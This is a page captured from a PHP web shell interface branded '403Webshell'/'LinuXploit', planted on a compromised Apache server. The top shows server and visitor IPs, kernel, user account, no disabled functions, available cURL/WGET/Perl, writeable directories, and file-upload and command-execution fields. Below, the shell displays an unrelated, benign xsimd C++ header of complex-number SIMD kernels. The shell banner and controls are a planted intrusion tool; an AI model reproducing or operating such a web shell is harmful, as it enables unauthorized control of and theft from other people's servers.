403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/include/xsimd/arch/generic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/include/xsimd/arch/generic/xsimd_generic_complex.hpp
/***************************************************************************
 * Copyright (c) Johan Mabille, Sylvain Corlay, Wolf Vollprecht and         *
 * Martin Renou                                                             *
 * Copyright (c) QuantStack                                                 *
 * Copyright (c) Serge Guelton                                              *
 *                                                                          *
 * Distributed under the terms of the BSD 3-Clause License.                 *
 *                                                                          *
 * The full license is in the file LICENSE, distributed with this software. *
 ****************************************************************************/

#ifndef XSIMD_GENERIC_COMPLEX_HPP
#define XSIMD_GENERIC_COMPLEX_HPP

#include <complex>

#include "./xsimd_generic_details.hpp"

namespace xsimd
{

    namespace kernel
    {

        using namespace types;

        // real
        template <class A, class T>
        inline batch<T, A> real(batch<T, A> const& self, requires_arch<generic>) noexcept
        {
            return self;
        }

        template <class A, class T>
        inline batch<T, A> real(batch<std::complex<T>, A> const& self, requires_arch<generic>) noexcept
        {
            return self.real();
        }

        // imag
        template <class A, class T>
        inline batch<T, A> imag(batch<T, A> const& /*self*/, requires_arch<generic>) noexcept
        {
            return batch<T, A>(T(0));
        }

        template <class A, class T>
        inline batch<T, A> imag(batch<std::complex<T>, A> const& self, requires_arch<generic>) noexcept
        {
            return self.imag();
        }

        // arg
        template <class A, class T>
        inline real_batch_type_t<batch<T, A>> arg(batch<T, A> const& self, requires_arch<generic>) noexcept
        {
            return atan2(imag(self), real(self));
        }

        // conj
        template <class A, class T>
        inline complex_batch_type_t<batch<T, A>> conj(batch<T, A> const& self, requires_arch<generic>) noexcept
        {
            return { real(self), -imag(self) };
        }

        // norm
        template <class A, class T>
        inline real_batch_type_t<batch<T, A>> norm(batch<T, A> const& self, requires_arch<generic>) noexcept
        {
            return { fma(real(self), real(self), imag(self) * imag(self)) };
        }

        // proj
        template <class A, class T>
        inline complex_batch_type_t<batch<T, A>> proj(batch<T, A> const& self, requires_arch<generic>) noexcept
        {
            using batch_type = complex_batch_type_t<batch<T, A>>;
            using real_batch = typename batch_type::real_batch;
            using real_value_type = typename real_batch::value_type;
            auto cond = xsimd::isinf(real(self)) || xsimd::isinf(imag(self));
            return select(cond,
                          batch_type(constants::infinity<real_batch>(),
                                     copysign(real_batch(real_value_type(0)), imag(self))),
                          batch_type(self));
        }

        template <class A, class T>
        inline batch_bool<T, A> isnan(batch<std::complex<T>, A> const& self, requires_arch<generic>) noexcept
        {
            return batch_bool<T, A>(isnan(self.real()) || isnan(self.imag()));
        }
    }
}

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit